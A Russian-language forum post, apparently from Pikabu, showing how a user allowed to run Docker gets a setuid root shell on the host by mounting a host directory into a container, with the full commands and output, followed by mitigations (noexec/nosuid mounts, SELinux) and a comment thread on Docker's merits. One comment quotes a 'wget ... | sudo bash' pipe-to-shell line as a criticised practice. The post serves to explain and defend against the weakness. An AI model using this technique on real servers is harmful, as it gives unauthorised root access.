Получаем рутовый шелл через докер

На самом деле это не дыра в безопасности. Т.е. это заложено в архитектуре.


И так. Например, ты разработчик, которому админ(чтобы ты отстал), разрешил на каком-то серваке пускать контейнеры docker. Т.е. ты можешь делать docker run/pull/push без sudo. Ок.


Пулим образ:

$ docker pull monsantoco/min-jessie

Using default tag: latest

latest: Pulling from monsantoco/min-jessie

a3ed95caeb02: Pull complete

d9f5175a7629: Pull complete

Digest: sha256:d8b651e894b8b66def8aaa268b5e8ec2c4f9480e3f2b7b2ec664203e610d6d96

Status: Downloaded newer image for monsantoco/min-jessie:latest

И пускаем:

$ mkdir /var/tmp/sh

$ docker run -d -v /var/tmp/sh:/stuff -t monsantoco/min-jessie /bin/sh -c 'cp /bin/sh /stuff && chown root:root /stuff/sh && chmod 777 /stuff/sh && chmod ao+s /stuff/sh && while true; do echo OK; sleep 5; done'

$ ls /var/tmp/sh/ -l

итого 124

-rwsrwsrwx 1 root root 125400 июн 7 11:02 sh

$ /var/tmp/sh/sh

# whoami

root

#

Вот так мы получили суидный шелл за пределами контейнера.


Как решить?

* Запереть юзера в хомяке с noexec,nosuid

* Все tmp каталоги монтировать в память и с noexec,nosuid

* Настроить selinux


ЗЫ:

$ docker --version

Docker version 1.10.3, build 20f81dd

$ lsb_release -a

No LSB modules are available.

Distributor ID: Ubuntu

Description: Ubuntu 16.04 LTS

Release: 16.04

Codename: xenial

Вы смотрите срез комментариев. Показать все
1
Автор поста оценил этот комментарий

Я знал, что docker дичь. Кстати с lxc можно тоже самое повторить? или там по секурней?

раскрыть ветку (7)
1
Автор поста оценил этот комментарий

В чистом lxc не получится так. Не знаю как дела с lxcd обстоят, не щупал еще.


Но докер не дичь :), когда тебе надо задеплоить сотню серваков без простоя(следи за обновлением GNU/Linux, я туда статейку закину). Просто надо комплексно подходить к безопасности.


А вообще тенденция сейчас во всем такая наплевательская, типа: wget -O - http://example.com/install | sudo bash

раскрыть ветку (6)
Автор поста оценил этот комментарий

Не знаю. Меня очень смущает использование докера. Я года два назад попытался его использовать, там все ответы  на мои вопрос были такие:

Как он работает?  А вот так просто берешь и запускаешь  docker run -d


Так же как под винду, а как оно работает? ну просто заходишь в службы и запускаешь службу

Никак оно работает, ни откуда и куда идет запись считывание конфигов.

Вроде внешне просто, НО нет той простоты, которая записывается  в подкорку и позволяет действовать интуитивно. Задача была сделать как раз контейнеры, одно приложение, один контейнер. Было два руби он рейлс приложения и соответственно две базы данных, хотелось 4 контейнера, два под приложения, и два под отдельный пострегесс приложение базу. Для того чтобы можно было влюбой момент разъехатся. Но  нет, докер оказался не для баз данных, и хранить бд в контейнере это моветон, плюс нарыл инфу, что из контейнера можно легко выйти и стать локальным рутом, я решил забить на это.

Чуствовал себя как вопрошающий в этой статье
https://habrahabr.ru/post/276539/

— Ты что! Нет. Это уже старая школа. Heroku — труп. Никто этим больше не пользуется. Теперь тебе нужно познать Docker. Это будущее!

Ах вот как. Ну ок. А что это?

— Docker — новый способ контейнеризации. Это как LXC, только еще включает формат запаковки контейнеров, а еще это распределительная платформа и ряд утилит, чтобы сделать построение распределенной системы реально простым делом.

Консерверезация?.. — что за? А что за LXE?

— LXC. Это как chroot на стероидах.

Что за cher-oot?

— Ясно… Смотри… Docker… Контейнеризация… Это будущее… Это как виртуализация, только быстрее и дешевле.

Окей, типа как Vagrant.

— Не, Vagrant — труп. Теперь все готовится к использованию внутри контейнеров, Это Будущее!

раскрыть ветку (5)
Автор поста оценил этот комментарий

Эм... вполне понятно как работает докер, надо только почитать доку.

А в чем проблема? 4 контейнера, да сама база не хранится внутри контейнера, для этого монитируют раздел. Рельсы прекрасно живут внутри контейнера. Чтоб понять достаточно просто сборать его руками. Плюсов тьма, начиная от упрощения деплоя, до сокращения вского хлама в системе, плюс возможность держать на одном инстансе конфликтующие между собой приложения.  
Chroot и jail известные и популярные решения (были) у админов, странно про них не знать.

раскрыть ветку (3)
Автор поста оценил этот комментарий

Да я тоже удивился про чрут, но это была статья https://habrahabr.ru/post/276539/
в ней высмеивалось излишнее использование инструментов

Два года назад дока была другой, сейчас  по интересней, и больше ответов на стандартные вопросы. Да я понимаю что докер удобная программа для деплоя, то что её удобно переносить от системы к системе, но моё админское чутье настороженно относится к этой программе. Особенно после таких постов
и таких решений задачи


"* Запереть юзера в хомяке с noexec,nosuid

* Все tmp каталоги монтировать в память и с noexec,nosuid

* Настроить selinux  "

раскрыть ветку (2)
Автор поста оценил этот комментарий

На мой взгляд, у не привилегированного пользователя вообще не должно быть доступа к шелу на сервере, это избавляет от кучи проблем включая эту.

Меня как devops очень радует, что сам доке может бежать где угодно, например на старой центоси, а в контейнере удобная мне среда.

раскрыть ветку (1)
Автор поста оценил этот комментарий
Разраб обычно и не имеет доступа но боевые сервера. И у него все сводится к гит тег -> ci build -> testing -> прод.

Но мы живем в не идеальном мире, так что возможно все.
Автор поста оценил этот комментарий
Ну, у нас(админов), есть понимание, как оно работает внутри + образы у нас свои под конкретные приложения. Базы тоже можно запихнуть в докер, прокинув туда, например, RBD из ceph. Но мы не только докеры используем, у нас тут и свои deb-репы, и автонастройка этого всего + оркестрация.


Докер в чем-то облегчает жизнь, а в чем-то наоборот.


ЗЫ: Vagrant реальная срань.

Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку